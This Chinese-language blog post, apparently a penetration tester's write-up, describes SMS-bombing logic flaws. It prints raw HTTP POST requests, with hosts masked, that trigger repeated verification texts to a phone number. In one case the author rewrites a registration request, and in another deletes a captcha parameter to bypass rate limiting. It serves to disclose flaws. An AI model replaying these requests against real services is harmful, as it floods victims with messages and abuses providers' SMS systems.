短信逻辑漏洞

注：文章相关法规要求，有些词汇不能显示，经修改后重新发布，真实为短信hz漏洞

示例1

发送到爆破模块，修改POST请求内容

POST /registerform HTTP/1.1
Host: www.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.xxx.com.cn/
Content-Length: 234
Cookie: JSESSIONID=Oi3MkNsPbGbN_DVulKs755X7.win-o64vuqqq6d9
DNT: 1
Connection: close

busiNo=system.sendCodeBo&param={"message":"1xxxxxxxxxx","type":3}

这里发送20条数据，正好这里短信发送的上限也是20条

注：关于POST请求内容修改

busiNo=system.ZhuceBo&param=%7B%22namee%22%3A%22参数%22%2C%22pwd%22%3A%22参数%22%2C%22tzztype%22%3A%221%22%2C%22tel%22%3A%22手参数%22%2C%22email%22%3A%22参数%22%2C%22code%22%3A%222222%22%7D

到

busiNo=system.sendCodeBo&param={"message":"1xxxxxxxxxx","type":3}

上面的内容是根据网页源码进行修改



注：政策原因，这里就不放收到的短信信息

示例2

这里请求包什么都不用修改，直接爆破即可
注：政策原因，这里就不放收到的短信信息

示例3

注：如果不修改POST传参种的120，就会失败，下图是未修改且攻击失败的返回包

更新：这里遇到个比较有趣的，此处漏洞修复后，设置了登陆界面发送短信验证码的功能点和设置短信发送次数限制，可是对他进行复测时，这个新加的功能点也变成了漏洞，即验证码绕过，爆破时如果你图片验证码不正确会提示图片验证码不正确，但如果你删了这个请求的参数，依然可以爆破，这…直接上图吧
使用验证码爆破

POST /query/service.yachtar HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://xxx.com/query/jumpView.yachtar?menu=validate4apply
Content-Length: 113
Cookie: JSESSIONID=EF87135A9B0697BBA5B80DB8FD1C45AD
DNT: 1
Connection: close

{"pram":{"receiver":"手机号","tel":"手机号","seconds":0,"checkid":"ewmd"},"request_type":7,"data":null}

图片验证码绕过爆破

POST /query/service.yachtar HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://xxx.com/query/jumpView.yachtar?menu=validate4apply
Content-Length: 96
Cookie: JSESSIONID=9DD1307CA8A0C1831496F1CB64005C8A
DNT: 1
Connection: close

{"pram":{"receiver":"手机号","tel":"手机号","seconds":0},"request_type":7,"data":null}

注：政策原因，这里就不放收到的短信信息